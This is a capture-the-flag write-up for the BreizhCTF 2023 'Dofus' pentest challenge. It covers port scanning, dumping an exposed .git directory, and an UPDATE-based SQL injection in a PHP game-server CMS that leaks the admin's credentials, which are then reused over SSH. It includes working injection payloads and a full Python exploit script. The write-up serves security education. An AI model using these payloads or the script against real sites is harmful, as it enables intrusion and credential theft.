Zeecka zeecka

Dofus

BreizhCTF 2023 - Pentest

BreizhCTF 2023 - Dofus

Challenge details

EventChallengeCategoryPointsSolves
BreizhCTF 2023DofusPentest??????

gif

The World of Twelve has been infected! Take back control of the server to restore order.

Author: Zeecka

TL;DR

The challenge featured a web server with a /.git/ folder. Extracting and analysing the source code leads to an “update” SQL injection that lets us exfiltrate the administrator’s password. Reusing the “username/password” pair over SSH then lets us retrieve the flag.

Methodology

An initial nmap scan reveals the presence of 3 services.

# Nmap 7.80 scan initiated as: nmap -sS -Pn -p- -oA nmap 10.8.0.1
Nmap scan report for 10.8.0.1 (10.8.0.1)
Host is up (0.0000020s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql

# Nmap done -- 1 IP address (1 host up) scanned in 0.35 seconds

We will first focus on the HTTP service.

home

We are dealing with a “Byxx’CMS v4.0” CMS. Some research on the internet confirms that this is an old CMS dedicated to Dofus 1.29 private servers. It appears to have a reputation for being vulnerable, but the number of public exploits is limited. The sources can be retrieved as open source.

Enumerating the application’s resources lets us get our hands on a .git folder.

$ dirsearch -u http://10.8.0.1/ -x 404,403


  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11622

Target: http://10.8.0.1/

[21:39:36] Starting: 
[21:39:51] 200 -   92B  - /.git/config
[21:39:51] 200 -   73B  - /.git/description
[21:39:51] 200 -   23B  - /.git/HEAD
[21:39:51] 200 -   22B  - /.git/COMMIT_EDITMSG
[21:39:51] 200 -  240B  - /.git/info/exclude
[21:39:51] 200 -   55KB - /.git/index
[21:39:51] 200 -  165B  - /.git/logs/HEAD
[21:39:51] 200 -   41B  - /.git/refs/heads/master
[21:39:52] 200 -    0B  - /.gitkeep
[21:39:51] 200 -  165B  - /.git/logs/refs/heads/master
[21:39:53] 200 -   29B  - /.htaccess/
[21:39:53] 200 -   29B  - /.htaccess
...

Task Completed

git

Directory listing on the /.git/ folder.

Given the directory listing, we will favour a recursive download with wget rather than a tool like git-dumper.

$ wget -r -np -R "index.html*" http://10.8.0.1/.git/

$ cd 10.8.0.1

$ git checkout .

$ ls -la

drwxr-xr-x 10 zeecka zeecka    300 25 févr. 21:49 .
drwxr-xr-x  3 zeecka zeecka     60 25 févr. 21:49 ..
-rw-r--r--  1 zeecka zeecka    844 25 févr. 21:49 code.php
drwxr-xr-x  2 zeecka zeecka     60 25 févr. 21:49 configuration
-rw-r--r--  1 zeecka zeecka 137750 25 févr. 21:49 favicon.ico
drwxr-xr-x  8 zeecka zeecka    260 25 févr. 21:49 .git
drwxr-xr-x  3 zeecka zeecka    700 25 févr. 21:49 images
drwxr-xr-x  2 zeecka zeecka    200 25 févr. 21:49 include
-rw-r--r--  1 zeecka zeecka   2506 25 févr. 21:49 index.php
drwxr-xr-x  4 zeecka zeecka    180 25 févr. 21:49 mod
drwxr-xr-x  2 zeecka zeecka    740 25 févr. 21:49 page
-rw-r--r--  1 zeecka zeecka     25 25 févr. 21:49 presentation.txt
drwxr-xr-x  2 zeecka zeecka    100 25 févr. 21:49 sql
drwxr-xr-x  4 zeecka zeecka    100 25 févr. 21:49 style
-rw-r--r--  1 zeecka zeecka   3713 25 févr. 21:49 vote.php

Investigating the source code lets us identify a post-authentication SQL injection on the email modification page (page/changemail.php:66):

	if(isset($_POST['email']) and isset($_POST['email2']) and isset($_POST['reponse']))
	{
		if($_POST['email'] == $_POST['email2'])
		{
			$email = $_POST['email'];
			if($quest2 == $_POST['reponse'])
			{
				$retour = mysql_query("UPDATE accounts SET email = '".$email."' WHERE account='".$_SESSION['login']."'") or die(mysql_error());
?> 	
		<div id="bgContent">
			<div id="textContent">	
				<p>Votre nouvelle email est : <?php echo '<b>'.$email.'<b><br>'; ?>
				</p>

The injected field corresponds to the new email we want to assign to our account. This injection can also be identified in a black-box manner by injecting single quotes:

inject

Since the SQL injection takes place inside an UPDATE, we need to find a way to exfiltrate data. The simplest approach would be to modify a second attribute of our account. Reading the SQL sources gives us more insight into the structure of the accounts table:

-- ----------------------------
-- Table structure for `accounts`
-- ----------------------------
CREATE TABLE `accounts` (
  `guid` int(11) NOT NULL AUTO_INCREMENT,
  `account` varchar(30) NOT NULL,
  `pass` varchar(50) NOT NULL,
  `level` int(11) NOT NULL DEFAULT '0',
  `vip` int(1) NOT NULL DEFAULT '0',
  `email` varchar(100) DEFAULT '',
  `lastIP` varchar(15) DEFAULT '',
  `lastConnectionDate` varchar(100) NOT NULL,
  `question` varchar(100) NOT NULL DEFAULT 'supprimer ?',
  `reponse` varchar(100) NOT NULL DEFAULT 'oui',
  `pseudo` varchar(30) NOT NULL,
  `banned` tinyint(3) NOT NULL DEFAULT '0',
  `reload_needed` tinyint(1) NOT NULL DEFAULT '1',
  `bankKamas` int(11) NOT NULL DEFAULT '0',
  `bank` text DEFAULT '',
  `friends` text DEFAULT '',
  `enemy` text DEFAULT '',
  `points` int(11) NOT NULL DEFAULT '0',
  `logged` int(1) NOT NULL DEFAULT '0',
  `verif` varchar(50) DEFAULT '',
  `vipdate` varchar(255) NOT NULL DEFAULT '0',
  `vote` int(4) DEFAULT '0',
  `persoprincip` varchar(30) DEFAULT NULL,
  `heurevote` bigint(100) DEFAULT '0',
  `stable` varchar(255) DEFAULT '',
  `pointcadeau` int(11) DEFAULT '300',
  `loterie` bigint(100) DEFAULT '0',
  PRIMARY KEY (`guid`),
  UNIQUE KEY `account` (`account`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;

The question field is reflected on the password change page. Its varchar(100) size makes it an ideal candidate.

The email handling (here the value INJECTION) behaves nominally with the following SQL syntax:

UPDATE accounts SET email = 'INJECTION' WHERE account=45;

Note: the id 45 is hypothetical and of little importance

By choosing the value INJECTION', question = 'NOUVEAU as the email, we get a new query:

UPDATE accounts SET email = 'INJECTION', question = 'NOUVEAU' WHERE account=45;

This query allows us to modify the secret question. Using a proxy like Burp may be necessary in order to bypass the type=email constraint tied to the HTML input.

question

A new question displayed after logging out and back in

By choosing the value INJECTION', question = @@version, vipdate='1 as the email, we get a new query:

UPDATE accounts SET email = 'INJECTION', question = @@version, vipdate='1' WHERE account=45;

Which lets us extract more advanced values, here the MariaDB version:

maria

Given the source code, we will try to extract the administrator’s username and password. This query can be written as:

SELECT CONCAT(account, ' : ', pass) FROM accounts WHERE level > 1 LIMIT 1;

We will therefore place this query as a subquery of our injection:

We now inject INJECTION', question = (SELECT CONCAT(account, ' : ', pass) FROM accounts WHERE level > 1 LIMIT 1), vipdate='1 which gives the following query:

UPDATE accounts SET email = 'INJECTION', question = (SELECT CONCAT(account, ' : ', pass) FROM accounts WHERE level > 1 LIMIT 1), vipdate='1' WHERE account=45;

exploit

We are now in possession of the credential pair barbok : r69*H27anxxc. We can log in to the CMS, or try these credentials against the SSH service:

$ ssh barbok@ctf.bzh -p 31380

$ cat flag.txt

BZHCTF{CodeAudioNoNoob}

Here is the script that automates the exfiltration of the credentials:

import requests
import random
import string

HOST = "http://10.8.0.1/"

def get_random_string(l):
    return ''.join(random.choice(string.ascii_lowercase) for i in range(l))

def create_user(user):
    """ Create an account (user = pass) with given username. """
    s = requests.session()
    page = f"{HOST}index.php?page=register"
    data = {
        "name": user,
        "pass": user,
        "pass2": user,
        "pseudo": user,
        "mail": user,
        "secretquestion" : user,
        "secretanswer" : user,
        "ok": "S'%27i'nscrire+sur+Omega"
    }
    r = s.post(page, data=data)
    if "<b>Bravo</b>" in r.text:
        print(f"[+] Compte \"{user}\" créé.")

def login(user):
    s = requests.session()
    page = f"{HOST}index.php?page=home"
    data = {
        "login": user,
        "passlog": user,
        "hidden": "log",
        "logon": "Connexion+au+site"
    }
    r = s.post(page, data=data)
    return s

def query(user, qry):
    ## Connect with user
    s = login(user)

    ## Changemail SQLi (update), write data into question field
    payload = f"INJECTION', question = ({qry}), vipdate = '"
    page = f"{HOST}index.php?page=changemail"
    data = {
        "email": payload,
        "email2": payload,
        "reponse": user,
        "mdp": "Modifier"
    }
    r = s.post(page, data=data)
    if "Votre nouvelle email" in r.text:
        print("[+] Injection effectuée")
    ## Reconnect user to reload question
    s = login(user)
    page = f"{HOST}index.php?page=changemail"
    r = s.get(page).text
    question =r.split('Question Secrete :')[1].split('<td style="width:150px">')[1].split('</td>')[0]
    return question  # Query result

#
if __name__ == "__main__":
    user = get_random_string(12)
    create_user(user)
    username = query(user, "SELECT account FROM accounts WHERE guid=1")
    print(f"[+] Got username \"{username}\"")
    pwd = query(user, "SELECT pass FROM accounts WHERE guid=1")
    print(f"[+] Got password \"{pwd}\"")
    print(f"\n--- Connect as {username}:{pwd} and get the flag in /home/{username}")

Flag

BZHCTF{CodeAudioNoNoob}

Author: Zeecka